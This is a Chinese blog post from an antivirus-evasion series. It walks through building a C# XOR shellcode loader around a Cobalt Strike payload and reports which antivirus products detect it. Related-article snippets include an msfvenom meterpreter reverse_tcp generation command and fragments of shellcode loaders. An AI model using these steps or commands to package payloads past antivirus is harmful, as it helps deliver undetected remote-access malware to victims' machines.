免杀方法（七）c#xor加载器

最新推荐文章于 2024-04-14 09:10:42 发布
最新推荐文章于 2024-04-14 09:10:42 发布
阅读量815 收藏 2
点赞数 1
分类专栏： 安全 免杀技巧 文章标签： c# 开发语言 java
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_56426046/article/details/127163312
版权

c#是很流行的编程语言，也可以用它来做一个加载器运行shellcode,生成出来的
文件特别的小，可以很好的投递传输。
项目地址https://github.com/antman1p/ShellCodeRunner


下载项目解压用vs2019打开sln项目文件

 生成exe文件

 

打开cb选择raw生成二进制payload.bin

 

将生成好的payload放到debug目录下 

然后打开cmd运行 ShellCodeRunner.exe payload.bin

 生成了新的二进制文件

 将这个文件放到源码的Resources里，没有创建Resources目录

 右键重新生成可执行文件

 在debug目录下生成可执行文件

 360未查杀，火绒查杀

 

 

 

桃之夭夭，灼灼其华。之子于归，宜其室家

夜yesec
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
通过Python实现Payload分离免杀过程详解
09-16
### 通过Python实现Payload分离免杀过程详解 在网络安全领域，Payload分离技术是一种常见的方法，用于提高恶意软件的隐蔽性和生存能力。本文旨在详细介绍如何利用Python实现Payload的分离与免杀，通过具体示例帮助...
xorfilter:去实现Xor过滤器的库
04-24
xorfilter：执行xor过滤器的Go库 布隆过滤器用于快速检查元素是否为集合的一部分。 Xor过滤器是Bloom过滤器的更快，更简洁的替代方案。 它们还比布谷鸟过滤器小。 托马斯·穆勒·格拉夫（Thomas Mueller Graf），...
c++之shellcode加载器
qq_44657899的博客
05-26 3529
文章目录VirtualAlloc申请内存堆 VirtualAlloc申请内存 #include <windows.h> #include <iostream> #include <time.h> #pragma comment (lib, "winmm.lib") #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") void startShellCode() { unsi
【网络安全】简单的免杀方法(非常详细)零基础入门到精通，收藏这一篇就够了
最新发布
Javachichi的博客
04-14 2068
目录一、免杀的概念二、免杀系统搭建三、免杀工具介绍1、myccl2、C32asm3、OD4、LordPE5、ImportREC6、VC++6.0/visual studio7、数字签名四、关于杀软排名不分前后1、360。2、金山毒霸3、江民4、瑞星5、安天防线6、卡巴斯基7、NOD328、诺顿9、小红伞，木伞10、BD五、杀软的查杀方法1、最基础的查杀2.1、静态启发式2.2、动态启发式3、HIPS4、云安全六、免杀方面的术语1、API2、花指令3、输入表4、区段5、加壳6、反启发7、隐藏输入表什么是免杀？
最简单的加载器免杀思路
ordar123的博客
04-28 5506
本文首发于先知社区：https://xz.aliyun.com/t/9385 最简单的加载器免杀思路 将加载器的变量每次生成都要随机也就是变量混淆， 同时在每行之间插入无效指令：比如随机打印，循环打印，随机数计算加减乘除 这个思路的主要作用是加载器伪装。不管shellcode如果变化加密解密，最后都要回到这个模板里面加载。就算是采用分离免杀的方法，shellcode本身不会被杀，但是这个加载器会被杀，所以经过这样伪装之后加载器可以存活，为后面各种花里胡哨的的免杀奠定基础。 source.py是模板
第六章-9 使用C#进行免杀
划水的小白白
11-24 1697
零、说明 1.说明 本文所有内容仅仅用于信息安全方面技术交流， 请读者切勿用于其他用途！！！ 2.免杀的思路与技巧 主要是学习思路，至于方法。随着各大安全厂商的更新， 基本过一段时间就会失效。 一、启动CS 二、创建监听 三、创建payload 这里的语言我们选择C#。 四、将生成的payload放到利用模板 注意替换一下我们的名称，buf—shellcode 五、将CS文件转换为可执行的exe文件 1.说明 需要.net环境，一般服务器上都会装。 Win10安装，参考：https:/
远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70)
qq_41683305的博客
04-22 4215
0x00 免杀能力一览表 几点说明： 1、表中标识 √ 说明相应杀毒软件未检测出病毒，也就是代表了Bypass。 2、为了更好的对比效果，大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家桶和火绒，所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020...
免杀对抗-C#+go语言-混淆+防反编译+分离
xiaoheizi的博客
09-19 1579
介绍：上传脚本到目标系统时，很容易就会被杀软将脚本反编译检测，所以将脚本使用ConfuserEx项目进行保护，防止杀软反编译检测。命令：msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=监听。命令：go build -ldflags "-s -w -H=windowsgui" 5.go。1.打开工具，将生成的exe程序拖入工具，然后如下图操作。执行文件，上传到目标系统，被火绒杀死。正常上传到目标系统，成功绕过检测。上传到目标系统，执行程序，
免杀Bypass！可过WDF/360/火绒的C#混淆器
潇湘信安的博客
04-10 652
一个可用于免杀过WDF/360/火绒的C#混淆器，但只能混淆.Net Framework应用程序。
xorfilter:实现Xor过滤器的Rust库
05-18
Rust库实现Xor过滤器 实现在，，《实验算法》（即将出版）。 这个包是它的一个移植。 如何在我的rust项目中使用xorfilter ？ 在项目的Cargo.toml下添加以下Cargo.toml ： [ dependencies ] xorfilter-rs = " ...
30.远控免杀专题(30)-Python加载shellcode免杀-8种方式(VT免杀率10-69)1
08-03
5. **方法5：xor加密(VT免杀率19/71)** 6. **方法6：aes加密(VT免杀率19/71)** **三、Python加载器** 1. **方法1：HEX加密(VT免杀率3/56)** 2. **方法2：base64加密(VT免杀率3/56)** 这些方法涉及将shellcode进行...
C#实现图形区域组合操作的方法
09-03
在C#编程中，图形区域组合操作是一种常见的图像处理技术，它允许开发者通过合并、剪切、排除或求补等方式来创建复杂的图形效果。这里我们将深入探讨如何在C#中实现图形区域组合操作，以及如何利用这些操作来处理图片...
【工具分享】免杀360&火绒的shellcode加载器
crowsec
01-20 1824
该shellcode加载器目前可以过360&火绒，Windows Defender没戏。。。
免杀入门---shellcode免杀
LvHLong的博客
05-03 5511
前言 本文仅用于技术学习和交流，严禁用于非法用途，否则产生的一切后果自行承担。 基础概念 免杀 免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”，它指的是一种能使病毒木马免于被杀毒软件查杀的技术。 杀毒软件工作原理 市面上的杀毒软件基本由扫描器、病毒特征库和虚拟机组成，它会把文件放在虚拟机内运行，扫描该文件的特征，包括静态特征、内存特征、行为特征等，通过和病毒特征库对比来判断一个文件是否为恶意文件。安全厂商一直在收集市面上出现的...
免杀之浅谈shellcode加载器
qq_46217803的博客
12-26 1761
VirtualAlloc:申请一个虚拟地址的空间，可以说为虚拟空间到物理空间的映射，简单来说，在虚拟空间操作，物理空间就会自动的分配物理地址。可以直接在内存中运行，不需要一个完整的pe结构，简单来说，内存能执行就能运行，没有啥依赖的“生存环境”设置一个指针类型的，也可以是别的，这里设置成NULL，这样系统会自动的去分配一个空间区域。就是一个类型属性，主要是内存分配的类型属性，可以去百度的，这里设置了两个值，去了解一下。还是以上的shellcode，本地生成的，用的是Visual Studio。
C#加载shellcode
热门推荐
神棍之路
08-25 7万+
using System; using System.Runtime.InteropServices; namespace TCPMeterpreterProcess { class Program { static void Main(string[] args) { // native function’s compile
远控免杀从入门到实践（4）：代码篇-C#
weixin_46236101的博客
03-13 1241
郑重声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！ 《远控免杀从入门到实践》系列文章目录： 1、远控免杀从入门到实践 (1)基础篇 2、远控免杀从入门到实践 (2)工具总结篇 3、远控免杀从入门到实践 (3)代码篇-C/C++ 4、远控免杀从入门到实践 (4)代码篇-C# 5、远控免杀从入门到实践 (5)代码篇-Python 6、远控免杀从入门到实践 (6)代码篇-Powershell 7、远控免杀从入门到实.
免杀方法（三）msf加载器免杀
qq_56426046的博客
10-03 1040
编辑i686-w64-mingw32-gcc main.c -o mm.exe-lws2_32。Metasploit还有编码器模块(Encoders),生成后门前，对其进行编码转换，可以混。metasploit是一款开源的安全漏洞检测工具，同时Metasploit是免费的工具，Framework(MSF)在2003年以开放源码方式发布，是可以自由获取的开发框架。它是一个强大的开源平台，供开发，测试和使用恶意代码，这个环境为渗透测试。在红队中是个香饽饽，使用这个模块生成的后门，不仅支持多种平台，而且。
c# xor
05-31
C#中的异或运算符是 "^"，它可以用于整数、布尔值和枚举类型。例如，下面是两个整数进行异或运算的示例： ```csharp int a = 5; int b = 3; int c = a ^ b; // c的值为6 ``` 在这个例子中，5的二进制表示为101，3的二进制表示为011，所以它们进行异或运算的结果为110，即6。 您还可以使用异或运算符来反转布尔值： ```csharp bool x = true; bool y = false; bool z = x ^ y; // z的值为true ``` 在这个例子中，true的布尔值为1，false的布尔值为0，所以它们进行异或运算的结果为1，即true。 希望这可以帮助您理解C#中的异或运算符。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

夜yesec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值